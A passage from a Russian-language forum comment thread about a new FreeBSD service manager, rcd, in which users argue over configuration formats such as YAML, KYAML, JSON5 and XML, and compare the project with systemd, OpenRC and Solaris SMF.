	Вы кроме коверканья слов и инфантильности можете что-то умное сказать? >Глюпые, да... Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте, какую именно проблему решает KYAML, когда уже есть json5? Или вы не заметили, как они ловким движением руки отломали возможность дозаписи без поломки синтаксиса?
	Ответить | Правка | К родителю #106 | Наверх | Cообщить модератору

	165. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 10:01
	> Вы кроме коверканья слов и инфантильности можете что-то умное сказать? А какого ответа вы ждёте на претензии космических масштабов и космической глупости? > Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте, > какую именно проблему решает KYAML, когда уже есть json5? Или вы > не заметили, как они ловким движением руки отломали возможность дозаписи без > поломки синтаксиса? Зачем нужен json5, когда есть xml?
	Ответить | Правка | Наверх | Cообщить модератору

	175. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 10:50
	>А какого ответа вы ждёте на претензии космических масштабов и космической глупости? Вы играете в игру, кто скажет большую глупость? >Зачем нужен json5, когда есть xml? Для того, чтобы не путаться в грамматике. Или вы по прежнему соревнуетесь, кто большую глупость описывает?
	Ответить | Правка | Наверх | Cообщить модератору

	177. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 10:55
	Не, я признаю вашу победу, чоужтут. Про дату появления yaml/json5 и такую штуку как обратная совместимость - даже и не спрашиваю, от лукавого это всё - могли бы и два несовместимых парсера поддерживать, лентяи.
	Ответить | Правка | Наверх | Cообщить модератору

	178. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 11:04
	>Про дату появления yaml/json5 и такую штуку как обратная совместимость Похоже вы продолжаете играть в игру на самый глупый комментарий. Вы же сами написали про "годик назад". Почему вы вдруг резко откатились с kyaml на yaml? >могли бы и два несовместимых парсера поддерживать, лентяи Могли бы изначально не брать yaml, раз всё равно изобрели json5. Не дураки же в гугле сидят? Или всё таки дураки?
	Ответить | Правка | Наверх | Cообщить модератору

	179. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 11:14
	Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml и на момент выхода K8s (про borg не знаю) был странным поделием с непонятным статусом - вы не в курсе? А дальше - обратная совместимость, любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) - а вот если !внизапна! затащить в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) - у кучи людей возникнут нежданчики, ага. Я как представитель той "кучи" рад не буду - вы не знаю...
	Ответить | Правка | Наверх | Cообщить модератору

	194. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 11:52
	>Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml Дальше что? Вы умеете мысли формулировать, или только вбрасывать? Или вы предлагаете мне за вас додумать ваш же аргумент? >любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) Дальше что? Может для начала задаться вопросом, а откуда вообще в проекте взялся yaml? Может если не брать плохую технологию, то её и чинить не придётся? >в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) Так это и есть тащить в систему очередную поделку, но только хуже. Если бы в гугле сидели действительно не дураки, то они бы не превозмагали бы yaml десятилетиями, а написали бы собственный формат, благо парсер генераторы давным давно изобретены, либо, если им так не хочется изобретать свой формат, взяли бы чужой, по типу sexp.
	Ответить | Правка | Наверх | Cообщить модератору

	203. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:21
	>>Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml > Дальше что? Вы умеете мысли формулировать, или только вбрасывать? Или вы предлагаете > мне за вас додумать ваш же аргумент? Ну, странно было бы предлагать google'у выбрать вместо хорошо известного, зрелого и читаемого yaml прошлогоднюю поделку, не закрепленную ни в одном (До сих, кстати пор не - и без шансов) стандарте, да? Ну вот он и не выбрал. >>любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) > Дальше что? Может для начала задаться вопросом, а откуда вообще в проекте > взялся yaml? Может если не брать плохую технологию, то её и > чинить не придётся? Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год: Товарищ Брин! Произошла ЧУДОВИЩНАЯ ОШИБКА! Промежуточный патрон! Командирская башенка! JSON5!!! >>в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) > Так это и есть тащить в систему очередную поделку, но только хуже. Ну ой. Оно есть. Оно работает. Оно удобно. Оно решает задачу. ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ. А то, что у полутора ужаленных фронтендеров "лапки"? Ну так и тьфу на них - не для них писано. > Если бы в гугле сидели действительно не дураки, то они бы > не превозмагали бы yaml десятилетиями, а написали бы собственный формат, благо > парсер генераторы давным давно изобретены, либо, если им так не хочется > изобретать свой формат, взяли бы чужой, по типу sexp. Оуууу... чот везет мне на малограмотных нонча. Дитятко - кубик - есть развитие google'овского Borg, у которого был вот собственный BCL. "Пробовали - не понравилось", так что ты лучше к машине времени не подходи, а то еще на-со-ве-ту-ешь.
	Ответить | Правка | Наверх | Cообщить модератору

	206. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 12:34
	>Ну, странно было бы предлагать Давайте конкретику, без всей этой воды. >Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год Вы барабан крутите или как? Откуда вдруг 2014 взялся? Вы мысли умеете формулровать, или какое число всплыло в вашей памяти, такое вы написали? >Оно удобно. Оно настолько удобно, что изобрели свой собственный NIH. >"Пробовали - не понравилось" Вы продолжаете пытаться придумать самый глупый комментарий? >ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ Объясните мне, что мне мешает открыть kyaml файл и вписать туда обычный yaml?
	Ответить | Правка | Наверх | Cообщить модератору

	209. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:07
	>>Ну, странно было бы предлагать > Давайте конкретику, без всей этой воды. Робот, позови человека! >>Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год > Вы барабан крутите или как? Откуда вдруг 2014 взялся? Вы мысли умеете > формулровать, или какое число всплыло в вашей памяти, такое вы написали? Вы читать умеете или вот "Китайская комната"? Это - буквально - ответ на ваш вопрос: > Может для начала задаться вопросом, а откуда вообще в проекте взялся yaml? Вот оттуда и взялся. В 2014 еще году. >>Оно удобно. > Оно настолько удобно, что изобрели свой собственный NIH. Ну, т.е. JSON5 - IH, Kyaml - NIH, ясно-понятно. >>"Пробовали - не понравилось" > Вы продолжаете пытаться придумать самый глупый комментарий? Я уже признал вашу победу, чего вы? Впрочем, похвалю - у вас отлично получается, продолжайте! >>ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ > Объясните мне, что мне мешает открыть kyaml файл и вписать туда обычный > yaml? Ээээ... ну примерно то же, что не дает открыть json файл и накалякать туда // Вот-какой-я-молодец. Но вот проблемы с тем, чтобы скормить любому yaml парсеру kyaml файл - у вас не будет. И с обычным json - не будет. А json5 - внезапно! Будет. Ну вот и нахрен кому б такое счастье сдалось?
	Ответить | Правка | Наверх | Cообщить модератору

	211. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 13:20
	>Я уже признал вашу победу, чего вы? Пока что вы умудряетесь только кривляться. Сколько вам потребовалось времени, чтобы вспомнить про обратную совместимость? Для начала, определитесь зачем вообще создавался kyaml. Сразу же после этого подумайте, как это стыкуется с обратной совместимостью.
	Ответить | Правка | К родителю #209 | Наверх | Cообщить модератору

	212. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:28
	Иопт. Спасибо, но пожалуй уже хватит. Глубину-глубин и широту широт вы уже продемонстрировали, ничего полезного не сказали - а отвечать на DOS бессмысленными вопросами, ответ на которых не читают - как будто есть более приятное времяпрепровождение.
	Ответить | Правка | К родителю #211 | Наверх | Cообщить модератору

	214. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 13:38
	Знаете, а ведь я только начал. Если вы собираетесь спорить на технические темы, то убедитесь, что вы имеете хотя-бы минимальные знания, а то придётся сливаться из темы, сверкая пятками. И да, я всё ещё жду ответ, на поставленный вопрос.
	Ответить | Правка | К родителю #212 | Наверх | Cообщить модератору

	217. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 14:06
	> Знаете, а ведь я только начал. Если вы собираетесь спорить на технические > темы, то убедитесь, что вы имеете хотя-бы минимальные знания, а то > придётся сливаться из темы, сверкая пятками. И да, я всё ещё > жду ответ, на поставленный вопрос. Не, ну можете продолжать позориться, жалко что ли? Про "обратную совместимость" я вам написал во втором вот комментарии... но вы его не поняли, пока вас в лужу не натыкали. Про космических масштабов и космической глупости совет перейти на json5 - тоже ясно. Про ГЕНИАЛЬНУЮ ИДЕЮ написать с самого начала свой DSL вроде историю тоже напомнил - чо осталось-то? Выяснить, в каком месте дяди из гугля делали вам больно при попытке дописсывать, или что надо-то?
	Ответить | Правка | К родителю #214 | Наверх | Cообщить модератору

	218. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 14:17
	>Про "обратную совместимость" я вам написал во втором вот комментарии... Я вам сколько раз написал, что мысль надо развернуть? А вы до сих пор про "обратную совместимость" пишите. Сколько сообщений мне ждать ответ на вопрос "с какой целью создан kyaml и почему нельзя было оставаться на yaml"? >чо осталось-то? Для начала, ответьте на первый вопрос.
	Ответить | Правка | К родителю #217 | Наверх | Cообщить модератору

	227. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:22
	Вопрос не корректный. Планов по отказу от использования yaml - официально - нет. По этому - можно оставаться на обычном yaml, никто ж не мешает? За подробностями в KEP-5295, пункт номер 1 в GOALS: Specify a YAML dialect which is 100% compatible with existing parsers and tooling. Вот буквально - ПЕРВАЯ цель. Остальные надеюсь сумеете прочитать? И точно так же ПЕРВАЯ Non-goal: Introduce alternative configuration languages that are not compatible with existing tooling. Еще вопросы в стиле "Чому нi державною?!" будут?
	Ответить | Правка | К родителю #218 | Наверх | Cообщить модератору

	230. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 15:37
	>Specify a YAML dialect which is 100% compatible with existing parsers and tooling. Хорошо, следующий вопрос: а почему меня вообще должна влиять несовместимость yaml парсеров? >По этому - можно оставаться на обычном yaml, никто ж не мешает? Второй вопрос: как сохранение yaml способствует решению проблемы несовместимости парсеров? Вы не замечаете здесь никакого противоречия? >Еще вопросы в стиле Конечно будут. Например, чем отличается кириллица от латиницы?
	Ответить | Правка | К родителю #227 | Наверх | Cообщить модератору

	232. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:45
	Не-не-не. Пжди, моя очередь. Почему не JSON5\Custom DSL ДОШЛО наконец-то? Или надо - ну, не знаю? языком жестов изобразить?
	Ответить | Правка | К родителю #230 | Наверх | Cообщить модератору

	238. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:02
	>Почему не JSON5\Custom DSL ДОШЛО наконец-то? Вы опять бежите впереди паровоза. Kyaml это очередной костыль поверх yaml, который никоим образом не решает возникшую проблему. Ещё раз повторю вопрос: почему меня вообще должна волновать несовместимость yaml парсеров? Подсказать правильный ответ? Меня не должен волновать этот вопрос, поскольку использовать язык, к которому не смогли написать нормальный парсер - нельзя. Знаете какое правильное решение этой проблемы? Выкинуть yaml, и передавать напрямую json. Знаете в каком году можно было принять это решение? В 2009. Когда гугл выкатил свой велосипед? Сколько лет прошло? За время, прошедшее с релиза yaml 1.2, уже можно было не просто избавится от yaml под ноль, уже можно было полностью переписать на новый формат, и при том не спеша.
	Ответить | Правка | К родителю #232 | Наверх | Cообщить модератору

	240. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:08
	>[оверквотинг удален] > никоим образом не решает возникшую проблему. Ещё раз повторю вопрос: почему > меня вообще должна волновать несовместимость yaml парсеров? Подсказать правильный ответ? > Меня не должен волновать этот вопрос, поскольку использовать язык, к которому > не смогли написать нормальный парсер - нельзя. Знаете какое правильное решение > этой проблемы? Выкинуть yaml, и передавать напрямую json. Знаете в каком > году можно было принять это решение? В 2009. Когда гугл выкатил > свой велосипед? Сколько лет прошло? За время, прошедшее с релиза yaml > 1.2, уже можно было не просто избавится от yaml под ноль, > уже можно было полностью переписать на новый формат, и при том > не спеша. Оуууу... так написать "да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ?!!! И про yaml ваш я первый раз утром прочитал!!!" надо было еще постараться. Ди-тят-ко! yaml - НАДМНОЖЕСТВО json. Любой валидный парсер yaml этот самый json читает из коробки (А json5 - не читает, угадай, почему?) - и - вот сюрприиииз-то? Kubernetes этот самый json умеет понимать... не, врать не буду - первые версии не застал - но в 2016 уже мог, предполагаю что и в 14 тоже ). Иди уже уроки учи, а?
	Ответить | Правка | К родителю #238 | Наверх | Cообщить модератору

	241. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:13
	>да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ Вы не отвлекайтесь от темы. >yaml - НАДМНОЖЕСТВО json Прогресс. Теперь вы уже можете начать думать над тем, почему kyaml - это nih, а json5 - нет. >А json5 - не читает А где я утверждал обратное? У вас есть очень серьёзная проблема: чем активнее вы кривляетесь, тем меньше вы читаете текст, и тем больше додумываете от себя.
	Ответить | Правка | К родителю #240 | Наверх | Cообщить модератору

	243. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:15
	>>да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ > Вы не отвлекайтесь от темы. Эээээ... а смысл её обсуждать с тем, кто про неё - literally - НИЧЕГО не знает?
	Ответить | Правка | К родителю #241 | Наверх | Cообщить модератору

	247. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:27
	Опять намылились сверкая пятками уйти от исходной темы? Вы до сих пор так и не обосновали нужность kyaml.
	Ответить | Правка | К родителю #243 | Наверх | Cообщить модератору

	252. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:48
	> Опять намылились сверкая пятками уйти от исходной темы? Вы до сих пор > так и не обосновали нужность kyaml. Не-не-не, языком жестов я только послать могу. Надо?
	Ответить | Правка | К родителю #247 | Наверх | Cообщить модератору

	254. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:54
	Поздравляю с тем, что вы успешно расписались в своей некомпетентности.
	Ответить | Правка | К родителю #252 | Наверх | Cообщить модератору

	255. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 17:28
	> Поздравляю с тем, что вы успешно расписались в своей некомпетентности. Иди уже... Праздновпть
	Ответить | Правка | К родителю #254 | Наверх | Cообщить модератору

	120. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:05
	> В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. А как же стандарт в виде XML везде?)
	Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

	126. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 23:28
	> А как же стандарт в виде XML везде?) В каком "визде" ты видишь XML на вебе?
	Ответить | Правка | Наверх | Cообщить модератору

	132. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 00:16
	Ну как же, вот 20 лет назад все говорил что XML это самый стандартный стандарт, теперь такие же люди говоря за json, я прям второй раз поверить не готов :)
	Ответить | Правка | Наверх | Cообщить модератору

	145. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:27
	SGML был, есть и остаётся главным стандартом веба. А уж в виде HTML или XML -- это дело десятое.
	Ответить | Правка | Наверх | Cообщить модератору

	154. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 06:24
	> Ну как же, вот 20 лет назад все говорил что XML это > самый стандартный стандарт, теперь такие же люди говоря за json, я > прям второй раз поверить не готов :) Ну, у json'а есть одно маааааленькое преимущество, в виде "наличия реализации" этого вот стандарта. А с xml, когда я последний раз проверял - в природе не было ни одной полной реализации.
	Ответить | Правка | К родителю #132 | Наверх | Cообщить модератору

	157. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 07:35
	Это конечно да, но теперь вон yaml какой то есть, и хз что ещё.
	Ответить | Правка | Наверх | Cообщить модератору

	198. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:58
	>> В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. > А как же стандарт в виде XML везде?) От настолько стандартный - что даже в вебе с этим их XHR (XML HTTP REQUEST!) - задолбались и в контенте шлют что угодно - кроме, собственно, XML в 99% случаев. А так парсинг XNL ужасен и ресурсоемок. А если еще XSLT вспомнить - не факт что ты даже с расширенным сознанием вдуплишь как вооон то вообще работает на самом деле. Это точно - в конфигах надо, именно вот так? А, да, потом окажется что парсинг энтерпрайз фигни с всем этим - тормозит аки апокалиптец. И вот уже launchd и smf лихо городят - бинарные кеши с уже распаршеными значениями. И имеют радость с синхронизацией этого всего. Что несомненно упрощает администрирование и совсем не делает систему хрупкой и кривой.
	Ответить | Правка | К родителю #120 | Наверх | Cообщить модератору

	139. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (28), 11-Сен-26, 01:10
	Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал
	Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

	141. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (75), 11-Сен-26, 01:28
	> Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал Мля, если он "ничего" не изобретал, то откуда появился этот очередной NIH формат и библиотека для него?
	Ответить | Правка | Наверх | Cообщить модератору

	149. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 05:30
	UCL изобрели раньше и кажется автор тут иногда тусуется в коментах.
	Ответить | Правка | Наверх | Cообщить модератору

	160. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от 123 (??), 11-Сен-26, 09:19
	JSON ужасен сам по своей природе, миру было бы легче, если бы его не существовало.
	Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

	187. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 11:39
	XML ещё хуже в разы, с json хоть как то жить можно.
	Ответить | Правка | Наверх | Cообщить модератору

	105. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 21:25
	Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не? Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм) догадается несколько позже)
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	201. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 12:02
	> Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не? > Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм) > догадается несколько позже) А XKCD #927 они еще не посмотрели? Очень рекомендуется к просмотру.
	Ответить | Правка | Наверх | Cообщить модератору

	108. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от аноним анониму (?), 10-Сен-26, 21:37
	> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг файрвол nftables в линуксе, видимо, тоже не видели. а мне формат от бздешников кажется самым адекватным для конфига.
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	113. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 21:47
	>> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? > выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг > файрвол nftables в линуксе, видимо, тоже не видели. Ээээ... С ним так-то через json api работают, и в общем от трёх разных синтаксисов fw в linux много у кого подгорает)
	Ответить | Правка | Наверх | Cообщить модератору

6. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
Сообщение от Аноним (6), 10-Сен-26, 10:37
Это не UNIX-way.
Ответить | Правка | Наверх | Cообщить модератору

	17. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 11:03
	Почему?
	Ответить | Правка | Наверх | Cообщить модератору

	24. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от xsignal (ok), 10-Сен-26, 11:37
	Нарушены принципы kiss, ортогональности и децентрализации, теперь в FreeBSD тащат комбайн, "менеджер всего".
	Ответить | Правка | Наверх | Cообщить модератору

	36. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 12:41
	KISS это вообще из другой оперы. Остальных нарушений не видно. Это не менеджер, это просто запускалка сервисов и она даже не PID 1.
	Ответить | Правка | Наверх | Cообщить модератору

	37. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от xsignal (ok), 10-Сен-26, 12:44
	> Это не менеджер, это просто запускалка Как позиционировался systemd когда-то и к чему это пришло...
	Ответить | Правка | Наверх | Cообщить модератору

	56. "Для FreeBSD развивают новый системный менеджер rcd"	+8 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 14:34
	Про systemd это всегда было враньём.
	Ответить | Правка | Наверх | Cообщить модератору

	38. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от xsignal (ok), 10-Сен-26, 12:46
	> KISS это вообще из другой оперы "Эрик Рэймонд в своей книге The Unix Philosophy in One Lesson резюмирует философию UNIX как широко используемый принцип KISS" (Вики)
	Ответить | Правка | К родителю #36 | Наверх | Cообщить модератору

	55. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 14:34
	Если так понимать KISS, как его понимает Эрик, то обсуждаемый проект ему максимально соответствует. Нам надо запускать и менеджить сервисы -> самый простой способ решить эту проблему -- написать программу, которая будет запускать и менеджить сервисы.
	Ответить | Правка | Наверх | Cообщить модератору

	61. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от xsignal (ok), 10-Сен-26, 15:29
	> написать программу По принципу KISS - это самое последнее, что нужно делать.
	Ответить | Правка | Наверх | Cообщить модератору

	72. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 16:05
	Ну так всё остальное уже попробовали, получается не очень. Так что да, перешли к "самому последнему".
	Ответить | Правка | Наверх | Cообщить модератору

	166. "Для FreeBSD развивают новый системный менеджер rcd"	–3 +/–
	Сообщение от Аноним (197), 11-Сен-26, 10:02
	>Нарушены принципы kiss Никакого kiss никогда не существовало и существовать не может. >теперь в FreeBSD тащат комбайн, "менеджер всего" Потому, что все эти ваши kiss работают только в 90-ых, когда у вас самые примитивные задачи. А как только нужно что-то более сложное, чем считать упавшую программу запущенной, просто по наличию lock файла, то сложность shell портянок переходит все мыслимые пределы.
	Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

	188. "Для FreeBSD развивают новый системный менеджер rcd"	+4 +/–
	Сообщение от xsignal (ok), 11-Сен-26, 11:40
	> примитивные задачи Не задачи были примитивными, а решенения были простыми, потому что это делали гении IT. А сейчас до компьютеров дорвались профаны и превратили Linux и web в тарелку спагетти, поэтому и кажется, что всё стало сложно.
	Ответить | Правка | Наверх | Cообщить модератору

	199. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (197), 11-Сен-26, 12:00
	>Не задачи были примитивными, а решенения были простыми Ответьте, что проще микроволновка или костёр? Что можно разжечь в лесу подручными средствами, а что предложить ребёнку для того, чтобы подогреть еду? Только выберите один вариант. >поэтому и кажется Ыкспертиза. Мне вот не кажется, я - знаю.
	Ответить | Правка | Наверх | Cообщить модератору

8. "Для FreeBSD развивают новый системный менеджер rcd"	+8 +/–
Сообщение от мяв (?), 10-Сен-26, 10:38
спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?
Ответить | Правка | Наверх | Cообщить модератору

	33. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (33), 10-Сен-26, 12:21
	Чтоб было своё!
	Ответить | Правка | Наверх | Cообщить модератору

	43. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от Аноним (43), 10-Сен-26, 13:12
	Обратная совместимость с прошлой системой, плюс гибкость под свои нужды, очевидно
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	67. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (67), 10-Сен-26, 15:57
	Не взлетело. Так-то уже были 2 порта launchd, InitWare и ещё думали о переходе на nosh. В итоге решили, что это всё перестановка кроватей и даже доказали, что смена системы инициализации на время загрузки системы влияет слабо. В общем, тут консервативный подход победил.
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	83. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 10-Сен-26, 17:41
	> спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ? Этот чел имеет довольно большой вес в фряхе и давно уже пытается воплотить популярные концепты линукса, но чтоб было всё "своё", хотя не понятно чем ему не угодил ОпенРЦ с совместимой лицухой и теми же фичами
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	93. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:31
	> чем ему не угодил ОпенРЦ NIH.
	Ответить | Правка | Наверх | Cообщить модератору

	121. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:08
	Как минимум тем что он не умеет читать те rc.d файлы что уже есть.
	Ответить | Правка | К родителю #83 | Наверх | Cообщить модератору

	186. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 11-Сен-26, 11:39
	> Как минимум тем что он не умеет читать те rc.d файлы что уже есть. Make sense 👍
	Ответить | Правка | Наверх | Cообщить модератору

12. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
Сообщение от manchelsi (ok), 10-Сен-26, 10:43
> Системный менеджер полностью обратно совместим с существующей системой последовательного запуска сервисов rc.d Когда-то и systemd так поступал с init.d, а теперь WARNING DEPRECATED
Ответить | Правка | Наверх | Cообщить модератору

	220. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (220), 11-Сен-26, 14:41
	И сколько лет варнинг остаётся варнингом?
	Ответить | Правка | Наверх | Cообщить модератору

	276. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (276), 11-Сен-26, 20:13
	Всё, начиная с 260 дропнули поддержку.
	Ответить | Правка | Наверх | Cообщить модератору

13. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 10:46
В Solaris говорят хороший инициализатор, интересно равняются ли на него?
Ответить | Правка | Наверх | Cообщить модератору

	16. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (16), 10-Сен-26, 10:58
	Лучше б не говорили.
	Ответить | Правка | Наверх | Cообщить модератору

	20. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 11:23
	> Лучше б не говорили. Почему?
	Ответить | Правка | Наверх | Cообщить модератору

	65. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (90), 10-Сен-26, 15:39
	А что Upstart? Гугель вон до сих пор его использует.
	Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

	277. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (276), 11-Сен-26, 20:21
	Гугель ещё в прошлом году сказал, что будет делать ChromeOS на базе Android. То есть, правильнее сказать, что пока ещё использует.
	Ответить | Правка | Наверх | Cообщить модератору

	32. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от Аноним (33), 10-Сен-26, 12:18
	SMF имеет большую функциональносить, и связан с управлением ресурсами (проектами) и RBAC в Solaris'е, просто взять  и перенести во FreeBSD не получится. К тому же его конфигурационный файл пишется на XML, а во FreeBSD XML не любят.
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	35. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
